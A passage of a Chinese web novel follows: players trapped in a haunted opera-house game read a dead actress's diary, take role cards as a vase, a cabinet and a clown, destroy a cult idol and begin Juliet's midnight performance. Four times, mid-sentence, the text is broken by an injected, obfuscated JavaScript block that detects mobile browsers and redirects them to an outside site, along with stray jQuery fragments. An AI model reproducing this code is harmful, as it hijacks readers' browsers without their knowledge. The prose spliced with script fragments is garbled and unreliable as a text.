今天,召开了人事会议。 …… [日记断了。] [中间的纸张都被血浸染,看不清字迹。] …… [DAY_1924] 五年了,我还在表演着《罗密欧与朱丽叶》。 可我再也演不好了。 [DAY_1928] 这不是我要的,这不是我要的! [DAY_1929] 我要的是一场最难忘最完美的表演,可是,你在哪里? 你在哪里啊???? [DAY_1930] 孩子们都走了。 都走了……都离我而去了…… 你在哪里,你在哪里啊!! [DAY_1932] 观众也没有了,可我还在演我的朱丽叶。 只要我演到最好,你是不是就能回来了? [DAY_1941] 我已经不知道是我在演朱丽叶,还是朱丽叶在演我了…… [DAY_1998] 蜘蛛爬上我的裙摆,蝙蝠停在我的肩膀。 乌鸦亲吻我的长发,腐蝇落满我的眼眶。 只有我,还在表演,旋转,跳舞,不停歇…… [后面的日记也被血糊满,什么都看不清了。] …… 随着江屑逐页读完日记本,舞台上方的喇叭终于响了。 生硬的机械音与陈弦雨记忆中的天船喇叭一模一样。 【恭喜玩家们触发剧情主线】 【游戏:崩毁的歌剧院】 【游戏目标:实现朱丽叶的心愿】 【游戏奖励:成功通关副本的玩家,将平分朱丽叶的全部遗产】 【剧情提示:徘徊的朱丽叶啊,她每天0点都会登台表演,为了实现心愿,她会一定程度给予玩家配合与指导,但是,她只有七天的耐心哦!七天后,徘徊的亡魂将带走所有人的生命。】 【目前进度:第一天·下午】 好啊,陈弦雨听完喇叭,就在心里啧了一声。 原来坑在这儿呢。 先给玩家只有七天的通关限时,让玩家被迫齐心协力,先把竞争放一边。 但到了最后,在“平分遗产”的诱惑下,肯定会有人试图独吞,把别的玩家都弄死。 所幸,在场这些人,都是没有携带杀伤性武器的,拍卖会入场有严格的安检,容易闹事的东西都带不进来……但也不一定。 陈弦雨看到了场中还滞留着两位破灭神的信徒。 他们随身携带的破灭神像还摆在地上。 供奉不足,破灭神没能实现他们“离开歌剧院”的愿望,但赐予他们拥有杀伤力的武器,应该不在话下。 哪怕是一把普通手枪,在大家都手无寸铁的情况下,谁持枪,谁就有话语权。 陈弦雨也不知道自己现在的身体,一打二还能不能空手夺枪了。 看来,还得再利用一次机灵的小贼,去把破灭神像偷过来摧毁掉——场上这些人,目前似乎还没有想得太远,他们在网红主播的带领下,一窝蜂涌到了台上,争着去看江屑手里的日记本。 “游戏任务是什么意思?满足女主角的心愿?” “看日记本里写的,她追求一场完美的演出,但是剧团人都跑了,她完美不了,所以让我们陪她表演?” “喇叭说她每晚0点登台,好像确实是让我们陪她表演的意思啊?” “我左看右看,女主角长得是真不错啊,她本名也叫朱丽叶吗?本色演本色,太美了!所以你们能给我演男主吗?嘿嘿嘿我要演罗密欧!” “滚吧,你演个抠脚大叔就不错了,男主让我来!” “我来!”“泥奏凯,男主必须是我的,我熟读莎士比亚……” 人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361808|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争抢着,试图寻找更多信息,试图拿到想要的角色。 就像印证他们的判断一样,随着喇叭闭麦,舞台前方,冉冉升起了一个演讲台。 讲台上,放着打乱顺序的一堆角色卡片,扑克大小,硬纸制作,正反面都写着字。 混乱中,不知谁抢到了一张心仪的角色卡,那人狂笑着奔向服装间和化妆室,给自己好好打扮去了。 角色卡很多,陈弦雨目测有四五十张,大概是整部歌剧需要登台的演员都算进去了,而滞留的玩家数量在四十人以下,所以他并不急着上台去抢重要角色。 他也不知道那些人怎么想的,对重要角色竟然如此狂热,无论是日记本还是喇叭,都没有提到玩家饰演重要角色会有什么好处,相反,舞台剧是所有人一起努力的结晶,重要角色出场多,压力大,缺点会被无限放大。 既然朱丽叶的亡魂追求着完美的表演,那在获取更多信息之前,划水不出错,才是最稳妥的选择。 游戏时限七天,一个能杀死全部玩家的亡魂,有七天的耐心给玩家试错,这说明,这个游戏并没有表面上“角色扮演”那么简单。 在正式表演里,还有更多的坑等着玩家去踩。 所以第一天,陈弦雨的决定是:不出错,然后静观其变。 他拦住了被狂热的人群席卷着、也想上台抢罗密欧的秃头老板。 陈弦雨审视着老板的脑壳。 “老葛。”他也不客气了,直接命令道,“趁他们在抢男主,你去把罗密欧的秃头朋友的角色拿下来。” “啊?”老板摸着脑壳,“我不叫老葛,然后,为什么啊?” “因为只有这一个角色是光头。”陈弦雨简单扼要地说,“这里的发胶放了太久,已经不一定好用,如果你演其他角色,演到一半假发掉了,你的表演就是【出错】,我目前无法想象【出错】的后果,所以演秃头对你来说是最稳妥的。” 老板不明觉厉,但觉得很有道理,他无法形容为什么一个年轻的新人说出来的话竟能让他打心底地折服和遵从,他手脚并用爬上舞台,在一群人对罗密欧角色卡大汗淋漓的争抢里,果断拿到了罗密欧的秃头朋友的角色卡。 又过了一会,争抢终于告一段落,好像是那位蜜汁自信的中年大叔凭着体力和嘴力,用“丰富的游戏经验”“说服”了所有人,把罗密欧让给了他。 “呵呵,七天时间?我怀疑游戏在羞辱我的智商。”他豪迈地说,“信我,我今晚就能带大家通关,瓜分遗产,离开这破地方!” 在他的自信下,混乱的人群似乎找到了主心骨,他们不再争抢,由大叔按表演能力给他们分配角色,欢欢喜喜地把重要次要角色都领完了。 等人都去服装间和化妆间美美打扮了,陈弦雨才慢吞吞走上台。 在剩下的一堆乱七八糟的角色卡里看了看,他伸出手指夹起一张。 正要往道具间走去的时候,他碰到了拐角暗处的李混元。 “你拿了什么卡?”李混元拦住他,仿佛考试结束迫不及待要对答案一样。 陈弦雨不说话,漠然地将目光瞥向李混元的手里——也拿着一张卡。 李混元大大方方展示给他。 于是陈弦雨也摊开了“答案”。 一张【柜子】。 一张【花瓶】。 李混元:“…………” 李混元:“你怎么抄我答案!” 陈弦雨:“。” 14. (已重写)小丑帽 厚重的防尘布盖在一座座道具山上,在黑暗中形同一个个隆起的坟包,久无人打理的蛛网从天花板上垂涎而下,和浮尘旧影一起,丝丝缕缕地缭绕在偌大的道具间里。 如果不开灯的话,一眼看去还真的有些恐怖。 陈弦雨不需要去服装间挑选演出服,也不需要去化妆间化舞台妆,他只需要在道具间找一个舞台专用的花瓶外壳,把自己装进去、等表演的时候全程当个背景板就行了。 嗯,他挑选的角色卡就是【花瓶】。 卡片背面写着:【你是一个脆弱的花瓶】。 而李混元的【柜子】卡片背面写着:【你是一个牢固的柜子】。 蛇皮身高一米九,四肢和脑袋一样发达,确实适合扮演柜子。 大型的道具壳不难找,在掀了几块防尘布之后,他们就找到了存放背景演员专属道具的地方,花瓶是用塑料壳抹上油彩,做出了一种珐琅彩瓷的样子,柜子则是用铝合金板刷上油漆再做旧,质感以假乱真,看着就是个祖传古董柜。 “哦?”身为材料学大师的李混元发出了微微的惊讶声。 要不是觉得演花瓶太有损自己的形象,李混元不会选柜子的,在他印象里,柜子要么用纸板糊弄,又脆又烂,要么用二手木柜,又沉又重,即使作为背景板,演起来也不会太轻松,甚至还要全程忍受材质发霉的臭味。 没想到,和他想的完全不同。 这里还有很多做工精美的道具镜子、桌子、凳子……李混元观察了一下,这些道具壳制作时,都避开了木头纸板泡沫之类易燃易潮易腐败的便宜材料,用的都是一般剧团舍不得花钱的好料子,穿在演员身上,轻巧,耐用,还不怕摔打。 “这剧团挺良心的啊。” 李混元把柜子搬出来,套在自己身上试了试,很合适,往镜子里一照,轻盈又牢固的合金材质将他从头到脚都罩好了,只有底部有镂空,他可以用脚挪动走路,哪里需要搬哪里,好了,他现在是个合格的柜子了。 “那你有没有想过……”陈弦雨慢吞吞地给自己披上花瓶壳子,两边卡扣一固定,他也是个合格的花瓶了,“本来用便宜道具就能糊弄的背景板,特意做成壳子,让演员来穿,给更多人提供了就业岗位,如此良心的经营理念,为何大家还要离职呢?” “……”李混元陷入了沉思,这个问题的答案或许就是朱丽叶亡魂不肯安息的原因,已经是游戏的谜底了,现在游戏刚开的第一天,他没有更多信息之前,还不能妄下定论。 更不能被套话。 李混元反问道:“难道你已经知道答案了?” 花瓶里响起无辜的声音:“我一个月薪三千的小职员,我怎么能明白你们经营者的理念?” “你就没有梦想吗?演花瓶干嘛,我看你的演技完全能胜任男主,如果你演罗密欧,最接近朱丽叶,能获得的信息更多,你不想早点通关吗?” “那你选柜子又是为什么?” …… 江屑穿着一身小丑服,提着一桶油彩,闯进道具间的时候,就看到尽头的角落里,蒙蒙的灯影下,一个柜子,和一个花瓶,正在无风自动…… 江屑:? 道具不但在动,道具还在说话。 柜子蹦跶了两下,溅起一地灰尘:“因为我结实啊,你离我远点,别来碰瓷我。” 花瓶摇摇晃晃:“可我好看啊,算了,我去碰碰我们的小丑先生。” 说着,一人多高的大古董花瓶缓缓挪向门口…… 刚踏进门的江屑:…… “妈啊!有鬼啊!你不要过来啊!!!!” 江屑吓得寒毛直竖,头也不回地跑了。 但他回到服装间找了两圈,还是找不到小丑的帽子。 在隔壁的化妆间也没有。 他拿到的角色卡是【小丑】。 小丑要画一脸的油彩,要扮丑,要发出夸张的笑声,兴许还要表演颇有难度的杂耍。 江屑读高中的时候,和挚友一起看过《罗密欧与朱丽叶》的歌剧,虽然不是这个剧团,也大差不差,每当宴会场景,就会有一个小丑上台耍花样,用丑陋的扮相衬托男女主以及一群贵族的华美。 小丑没有台词,全程嘻嘻哈哈翻跟斗,体力活。 没人愿意饰演这种角色,江屑也不愿。 但他鬼使神差地拿了这个角色,在他看到卡片背面文字的时候。 【你是一个悲哀的小丑】。 江屑捏了捏拳头,是啊,他也是一个悲哀的小丑,小丑演小丑,本色出演。 于是他找到了小丑的鞋子和服装,找到了小丑的油彩盒,唯独少了小丑的滑稽帽。 江屑就想啊,估计是和小丑的表演道具什么的一起,被收进道具间了吧,于是他就去道具间寻找,没想到里头闹鬼,江屑不想再去第二次了,他转了转眼珠,演员宿舍区也有可能,职工表上显示全剧团就一个小丑,说明小丑服装是固定演员在穿的,他去宿舍区找找这位演员的床位好了。 正当他这么想着,来到后台尽头的演员宿舍区入口,他就看到…… 一个花瓶,一个柜子,并排而立,将入口挡得严严实实。 两个大型道具不怀好意地“凝视”着他。 江屑:………… 我的个姥姥啊!怎么到处闹鬼呢这!! 江屑嗷了一声,转身要跑,花瓶发出了声音:“站住。” 江屑吓坏了,脚底抹油跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361809|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更快,但花瓶又说了一句话把他定格在原地:“你在找这个吗?” 只见花瓶从中间“裂开”,陈弦雨打开卡扣,清清伶伶的身影从壳子里走了出来,他举着一只手,手中拎着一顶小丑的滑稽帽,指尖旋转起帽子,发出叮呤当啷的声音,那是帽子角角上五颜六色的坠饰,在昏暗的光线里,夸张色彩如同幽魂魅影,令人格外惊心。 “我靠,我的帽子!”江屑反应过来了,这是人扮演的道具,是他太怕鬼,然后被这俩畜牲耍了,不但耍了他,还霸占了道具间搜刮走了他的小丑帽子。 江屑有点生气:“把我的帽子还给我,我今晚要扮演小丑。” 说着,他走上去就要拿帽子。 陈弦雨却当着他的面,打开了一旁的“柜门”,他把帽子塞了进去,又关上了“柜门”。 还摸出一把不知什么时候从道具堆里捡来的锁,咔哒一声,把“柜门”给锁上了。 李混元:………… 江屑:……………… 江屑目瞪口呆。 李混元也目瞪口呆,他不过是想尾随白毛看看他还有什么马脚可以露出来,没办法,实在没办法,滞留在游戏里的一群草履虫,除了白毛,李混元看谁都不顺眼,更没可能是陈白衣。 没想到白毛就等着坑他呢! 太熟悉,简直太熟悉了,这恶劣的家伙。 但李混元此刻,柜门被锁住了,他从内部不用暴力打不开,于是有苦也说不出,有槽也不好吐——确实,他已经想到了,白毛在做一件他们两个都希望能做成的事。 这件事,只有利用小贼才方便去做。 李混元只能在柜子里黑着个老脸,被迫配合,被迫背锅。 果然,白毛煞有介事地说:“柜子先生说,他不想把帽子给你,除非你用东西和他换。” 李混元能说什么呢?他没有,他不想,他对草履虫没有任何兴趣,他甚至不知道白毛什么时候发现小丑没戴帽子,又什么时候找到帽子顺手藏起来。 这观察力,这临机应变的能力,这利用一切的可耻手段,他不是陈白衣他还能是谁? 他难道在他用灯光引起混乱的时候,就在物色可以奴役的人选了吗? 江屑气死了:“有屁快放!想让我拿什么换?先说好了,休想打我新鞋子的主意!” 他全身上下,最值钱的,可不就是他今天顺来的这双限量版AJ吗。 “破灭神的神像。”陈弦雨也不废话,举起两根手指,“两个神像,他们的主人应该忙着化妆,形态气质你一眼就能识别,你去把神像偷来,柜子先生就把帽子换给你。” 江屑:“……” 江屑一跺脚:“行,算你们狠!” 15. (已重写)可怕的花瓶人 不到五分钟,江屑就回来了。 其实他把神像偷到手的时候就想到了,柜子人和花瓶人,两人都不显戾气,不是破灭神的信徒,那么叫他偷神像,恐怕是为了大局——防止一群手无寸铁的玩家之间,突然出现手持武器的人。 所以那俩人还怪好的咧? 好个屁啊,江屑嗤了一声,竟然奴役他偷东西,他是什么很好欺负的人吗?! 他这辈子,只接受两个人的奴役,一个是他最崇拜的偶像,一个是他最好的挚友。 可惜,陈白衣牺牲了,挚友也不在了,只剩他浪迹流离,活得像个小丑。 * 陈弦雨没有食言,拿到两个神像后,就把帽子物归原主。 江屑狠狠戴上小丑帽,扭头就走。 但陈弦雨又喊住了他:“小丑先生,等一下。” 画满油彩的脸转过来,语气凶猛:“干嘛?” “你的妆容不对哦。”陈弦雨伸手在花瓶里掏了一阵,掏出一个不知什么时候顺来的油彩盒,他用手指沾了白色的油彩,在小丑的脸上竖着画了粗粗两笔。 是两道从眼眶落到下巴的夸张泪痕。 “你是一个悲哀的小丑。”陈弦雨说,“不是普通的笑脸小丑哦。” 说着,手腕一抖,从袖子里滑出一张角色卡,随手甩扑克一样,甩回了小丑的脸上。 江屑定睛一看,【你是一个悲哀的小丑】,草,这不是自己的角色卡吗? 他什么时候偷的? 我是贼还是他是贼啊!! 江屑一脸崩溃地走了,太可怕了,这个花瓶人,他竟然想不出来他是什么时候偷的,如果是交接神像的时候,手也太快了吧……还有,也不知道他修改他的妆容是为了什么?要不要擦掉?还是相信他?他就是跟着剧照上的小丑妆容化妆的啊,剧照上的小丑笑得可开心了,嘴巴都咧到了耳朵边,但是花瓶人却给自己补了两条宽面条泪。 【你是一个悲哀的小丑】 好像有点道理,悲哀的小丑,那确实是哭脸。 相信他一次吧,江屑冷静下来,越想越觉得花瓶人厉害,明明手那么快,比自己这个半职业小贼都快,偷两个神像完全不在话下,却故意扣下小丑帽让自己去干活。 他为了什么?为了试探自己的实力吗? 江屑想不通的地方有很多,只是从直觉判断,花瓶人要毁掉破灭神像,为了大局的安全,这样的人,至少不会害自己。 陈弦雨又在花瓶里掏了一阵,在李混元“你到底在道具堆里顺了多少东西啊”的吐槽里,掏出了一把榔头。 他一脚踩着破灭神像的头颅,一手拿着榔头,用力一锤,“神土”制作的神像就裂开了一条缝。 又一锤,又裂开了一条缝。 陈弦雨脸色白了白,冷汗从额角流下来,再使力怕是不行了,他无法忽视来自胸腔的疼痛,他缓缓喘了口气,扬手就把榔头丢给李混元。 有能干活的人,他干嘛自己出力。 李混元骂了一句“废物”,毫不客气地几锤下去,把神像砸了个稀巴烂。 还有一个神像要砸,李混元转身要去拿,结果,再次,目瞪口呆。 只见白毛从花瓶里掏出了更多的不知道什么时候顺来的道具,从断裂的拖把到发霉的抹布,从生锈的铜镜到拉着老鼠屎的饭盒,一大坨垃圾——他恐怕是掏光了道具间里的垃圾桶——包括铁皮垃圾桶本身,都被他摆在剩下的那个破灭神神像面前。 而白毛正在恭恭敬敬双手合十许愿:“伟大的破灭神啊,我把我能找到的好东西都献给您了,请您聆听我的许愿,赐我一把武器吧。” 李混元的下巴都要摔地上了。 他不是陈白衣吗?怎么可能!怎么可以!! 陈白衣绝对不会和神做交易的。 那么骄傲的人,一旦被神打上标记,那种耻辱,比让他死了都难受啊! 可白毛就是那么虔诚地一脸期待地供奉着最残暴的破灭神。 难道为了不让自己认出他,他连尊严都不要了吗? 当李混元反应过来一把将人拉开,已经晚了。 神像发出微弱的光芒,所有垃圾包括铁皮垃圾桶本身,都消失了——神不能拒绝供奉,无论是什么,供奉都被收下了。 不但收下了,许愿还成功了。 哪怕残暴如破灭神,对于第一次供奉或是从别家爬墙来的首次供奉的信徒,都会格外宽容,彰显神恩浩荡。 献上垃圾也无所谓,一定会反馈小小的恩惠。 而陈弦雨许愿得到的“武器”,是一把折叠的蝴蝶小刀,不情不愿地出现在神像前。 在李混元震惊又失望的眼神里,陈弦雨拿起蝴蝶刀,高兴地转了个刀花,很小巧,很锋利,适合他,很好。 收好了小刀,然后一脚把神像踢给李混元去干活,陈弦雨披上花瓶的壳子,晃晃悠悠地走进了演员宿舍区。 他不会被污染这件事,暂时还不能告诉蛇皮。 倒不是他成心折磨蛇皮,虽然玩弄蛇皮确实很有意思,但主要是因为,蛇皮这一身睿智气息,实在让他同样震惊,他目前判断不了,蛇皮是真心在给黄道当狗,还是假装在给黄道当狗。 以他对蛇皮的了解,有可能是后者,蛇皮是个野心家,与其当狗,他应该更想篡位黄道,自己成神。 但没有确凿的证据,陈弦雨也不好下定论,既然蛇皮爱猜,就让他慢慢猜吧。 什么时候猜到了,什么时候再问问他真心的想法。 陈弦雨从来没有把李混元划到队友的行列,从前没有,现在没有,将来也不会有,他俩虽然见面次数寥寥无几,但同样的脑子,同样的傲慢,让他们对彼此实在太了解了,这种人,要么当敌人,要么当挚友。 在晏升之后,陈弦雨已经不想再有什么挚友了。 小贼那样的,当队友,就刚刚好,又有本事,又好差使,又不会很熟,也不会处成朋友,只是他孤独旅程里的临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361810|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时队友而已,该再见的时候,也不会有什么不舍。 陈弦雨随便找了个演员宿舍,准备休息到晚上0点,然后参加第一天的表演。 他一边开门,一边掏出酒精棉,仔仔细细地把双手擦了个干净,再拿出手机看了看,在这种“游戏副本”里,信号全无,只有时间正常流逝。 现在是晚上19:20,他还有一段时间可以休息。 定好闹钟之后,陈弦雨抬眸一看,才看到宿舍里的四张床位,张张整齐,看着干净……但不用走近都能闻到棉花霉变的味道。 床单被褥上,那一朵朵盛开的,不是印花图案,而是正在大快朵颐的老鼠们。 被子上洒了新鲜的饼干碎。 不用想,肯定是仗着地理优势、最早翻完宿舍、拿走日记本放到服装间的蛇皮干的。 蛇皮对他太了解了,被老鼠爬过的床褥,他肯定睡不着觉的。 一把饼干碎,就能恶心他一整年。 但其实蛇皮不知道,他在小岛和荒村的那两年,已经克服了大部分洁癖了……至少陈弦雨自己是这么想的。 他转身出门,又看了几间,没有一间宿舍幸免于难。 可恶的蛇皮! 胸腔很痛,陈弦雨现在很累,在被迫再次克服洁癖和出去睡观众席之间,他毫不犹豫选择了……睡在花瓶里。 花瓶里面挺干净的,他把花瓶横了过来,躺进去,一合拢,席地而睡。 但是闭上眼睛,他又难受得一时睡不着,只能放任大脑飞速运转。 他现在对于第一天的表演,也只是从游戏机制上来判断,能不【出错】就尽量不【出错】。 喇叭说了,朱丽叶会给予玩家一定程度的“配合”与“指导”,并且她是一个拥有七天耐心的亡魂。 那么对朱丽叶而言,他们滞留下来的三四十个玩家,都是第一次登台的“演员”,演技啊唱功啊台词啊这些,应该不会太苛刻,不然才第一天这游戏就玩不下去了。 唯一苛刻的,恐怕就是演员的态度。 放到现实里,逻辑也是一样的,每个导演或者大主演,面对毫无经验的新人演员,首先看重的,那就是态度本身。 所以,陈弦雨判断目前的游戏机制,大概率会卡在“态度”这一点上。 饰演的形象是否贴合,妆造方面是否合格,这是最容易看出态度的地方。 他选花瓶,李混元选柜子,都是同样的想法。 当背景板往那一站,只要不大声开麦震惊四座,态度上,就挑不出什么问题。 但如果要更深究的话,或许要把角色卡背面的特质也贴合上。 比如,花瓶是脆弱的,柜子是牢固的,小丑是悲哀的。 如果要呈现一个花瓶的脆弱,有什么不费力气的又安全的好办法吗? ……有了。 陈弦雨在睡着之前迷迷糊糊地想,很好,他不可能白睡这个冰冷的地板。 蛇皮你给我等着吧。 16. (已重写)夜的第一章 陈弦雨睡醒的时候,一群人正在花瓶外面围观他。 以秃头老板为首,身边还有几张陌生的面孔。 老板穿着一身宝蓝色的皮革戏服,化着舞台浓妆,除了身材稍显臃肿之外,倒也和剧照上的人物形象差别不大。 但另外几个就…… “小陈你终于醒了,来,帮忙看看他们的装扮。” 在秃头老板的介绍之中,陈弦雨视线一扫。 一个是在拍卖会场当保洁的阿姨,手头拮据,就算脱离了游戏,回家也会被丈夫殴打,她就选择了留在游戏里,拿了【朱丽叶的侍女】角色卡。 一个是渴望素材的志怪小说家,听闻拍卖会原址是一座闹鬼的歌剧院,想方设法搞了张门票混进来,现在不知有多开心,拿了一张【宴会诗人】角色卡。 一个是中年沧桑的维修工人,由于拍卖场屋顶不明原因漏水,他被请来检查修理,家里欠了高利贷,本来就对生活丧失了信心,留在游戏里等死就等死吧,他选择了【罗密欧的仆人】。 一个是尚未毕业的实习生,陪领导前来参拍,场所一变异,领导就拿着所有东西跑路了,剩他身无分文一个人,他的角色卡是【提伯尔特】。 这四个或是无奈或是主动留下来的玩家,没有选择和外面的大部队在一起。 “嗨,陈哥。”实习生脸上毫无沮丧,反而热情地打招呼,“你老板真好啊,还说我们都是小年轻,想让我劝你离开游戏呢,我老板就差远了,出事了跑得比谁都快,垃圾。” 陈弦雨看向他手里的角色卡。 提伯尔特……罗密欧与朱丽叶的爱情悲剧的导火索。 两家本来就是世仇,罗密欧与朱丽叶在一次宴会上突破世俗地相爱,本来私定终身了,结果朱丽叶的表哥提伯尔特出现,与罗密欧的好友墨古修(秃头老板饰演)吵架决斗,他刺死了后者,接着又被罗密欧杀死,罗密欧因杀人被流放,然后是一系列阴差阳错的悲剧。 提伯尔特,一个剧情不多但很重的引信角色。 角色卡背面写着:【你是一个暴躁的表哥】。 陈弦雨看了看实习生,又看了看卡片。 陈弦雨抬头问他:“如果我借你钱,你可以离开游戏吗?” “不要。”实习生高兴地说,“留下来挺好的啊,我很会玩游戏,如果我能拿到朱丽叶的遗产回去,我就发财当老板了,谁还要上班啊!” “那你要不要换个角色?” “不要。”实习生继续拒绝,“我这身多帅啊,这戏服质量可真好,我这辈子没穿过这么帅的,要是也能当游戏奖励送给我就好了。” 陈弦雨有些头疼,揉了揉太阳穴,“你……” 实习生打断他:“好了,你在担心我和你老板发生戏剧冲突,我把他杀了,然后罗密欧把我杀了,有危险是吧?你放心吧,我都检查过了,道具伸缩剑,杀不死人的,而且我们还要演尸体呢,我保证演得很好。” 看他这么自信,陈弦雨也就不说话了。 他担心的,是这个乐天派小朋友演不出【暴躁】这一点。 被领导丢在这里还能开开心心,他的角色特征怎么办? 不过第一天应该不太会苛求演技,小朋友既然那么自信,就随他吧。 陈弦雨按人设特征,给四人进行了妆容调整和讲解。 阿姨穿着灰扑扑的扫地服,穿错了,陈弦雨记得这是仆人的装扮,不是侍女的,他叫阿姨重新从服装间找到了侍女的衣服,穿好之后,妆容倒是没问题,假发也戴对了——化妆间的墙上,贴着各个角色的妆容相片,正常情况下,对着抄作业就行。 “但有一点要注意,阿姨,你的人设是【一个哑巴侍女】,你全程不可以说话哦。” 在阿姨的连连点头里,陈弦雨还教了几个简单手语给她,让她从现在开始,就把自己当成一个哑巴。 小说家拿到的宴会诗人角色卡,背面写着【你是一个热爱演奏的诗人】,他穿好戏服抱好手风琴当场演奏了一段,奏得很不错,就是妆容有点糟糕。 诗人,剧照上的妆容是相当优雅的,他横个大刷子一样的粗眉,蓄个野性狂暴的络腮胡是什么鬼啊! 小说家抗拒剃掉胡子:“这是我的创作灵魂!你不可以碰它!” “那我建议你换个角色。”陈弦雨把一打剩下的角色卡丢在他面前,“拖把、扫帚、楼梯、壁炉、高脚凳……都更适合你。” 维修工的打扮就更糟糕了,他不但素面朝天,他连戏服都没换。 “反正俺也不想活了,别管俺了。”他甚至拒绝把角色卡给陈弦雨看。 陈弦雨看向自己的秃头老板。 老板的角色卡写着【你是一个冲动的朋友】。 “冲动的朋友,我会演。”老板让陈弦雨放心,他更担心摆烂的维修工,“想个办法让他支楞起来啊!万一表演要求是全体玩家的配合,他一个人不配合,我们岂不是都要完蛋?” 虽然游戏不太可能这样设计,但以防万一,陈弦雨还是叫来了李混元。 蛇皮力气大,虽不乐意,但大局当前,也会配合。 蛇皮和老板合力给维修工套上了仆人的戏服和假发,还看到了角色卡背面——【你是一个不起眼的仆人】。 倒也挺贴合本人形态的。 “那么大叔,你全程划水就好了。”陈弦雨宽慰他,“我看过这个剧团的账本,朱丽叶作为女主演,她的财富积累至少在2个亿以上,就算40人都通关,平分也有一人500万,够你还完高利贷了么?” 维修工的眼神终于清明了,但实习生突然高兴地跳起来:“那如果只剩4人通关,每人就能分到5000万吗?” 说完才意识到好像有什么不对。 房间里六个人同时看向他。 哦,七个——江屑从门口路过,嫌弃地冲着他们说:“你们怎么还不去舞台准备,马上都0点要开始了。” “如果只有我们两人分遗产就好了!” 同样的畅想也在前台出现了,饰演罗密欧的自信大叔,和见识不凡的网红主播,两人正在窃窃私语。 “从下午到晚上,该探索的地方都探索了,该掌握的信息也都掌握了,确实没发现藏遗产的地方。”大叔和主播两人凭着出色的履历,已经成了在场玩家的领头人,而他们的观点也始终没变过,“所以遗产应该在朱丽叶自己身上。” “你说得对。”主播说,“朱丽叶没有子女,她死后的遗产要么捐掉,要么带进坟墓里。” “所以是个打怪爆装备游戏?”大叔很有见解,“杀了她,爆遗产,应该是这样,谁要陪她玩解谜游戏啊,就是目前不知她的实力,还好,有一群炮灰玩家可以替我们投石问路。” …… 0点。 在骤然下降的室温里,响起了一阵飘渺的钢琴乐。 叮叮咚咚,琴乐十分优美。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361811|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>舞台上的玩家们,都按剧照上《罗密欧与朱丽叶》第一幕的开场排位,安静地站在属于自己的位置,等待着女主演的登台。 朱丽叶准时出现了。 瞬间有人尖叫起来。 因为她不是像普通演员一样,从后台走出来,或是从升降台升起来的。 她是……从画框里飘出来的。 冰冷,静谧,哀伤,华丽,她像是一团雾气,带着异香与腐臭交织的气味,飘到了舞台上,随着灯影与烛火的交叠点亮,她渐渐凝成了实体。 鲜血色的宴会礼服,穿在她姣好的身体上,金色的长发熠熠生光,绸缎的裙摆层层雍容。 直到她转过脸来。 又一个人尖叫起来。 那不是人的脸。 那是眼眶里蠕动着蛆虫的骷髅。 “废物。”罗密欧大叔暗骂道,“不就是个骷髅怪,有什么好怕的,我在游戏里杀过的骷髅比你们吃过的米还多。” 朱丽叶似乎确实没有什么恶意,她提着裙摆,盈盈一跃,“飘”到了属于她的位置上。 舞台剧开演。 第一幕,是一场群舞戏。 朱丽叶的家族,罗密欧的家族,两个世仇家族正在街头斗殴。 而没有参加斗殴的罗密欧本人,和他两个朋友偷偷戴上假面,溜进了朱丽叶家族举办的晚宴上。 朱丽叶就在晚宴上,与她的命定爱人罗密欧一见钟情。 这是一个家喻户晓的开篇,没看过原著或者舞台剧的玩家,也在准备期间里,被科普得七七八八了,第一幕主打就是一个群像喧嚣,角色展示。 秃头老板陪同着饰演罗密欧的自信大叔和饰演朋友的另一个玩家,熟练地戴上面具,混入舞会,这一段有各自的唱词,陈弦雨默默听着,三个人中,老板唱得最好,比他想象中还要给力。 而宴会群舞里,小说家总算刮了眉毛剃了胡子,扮演着一个合格的诗人。 实习生扭着腰肢,跳舞很卖力。 维修工当个背景板,正在扫地。 江屑翻着跟斗,小丑杂耍。 保洁阿姨在朱丽叶的闺房里,默默地伺候小姐出门,默默地当个哑巴。 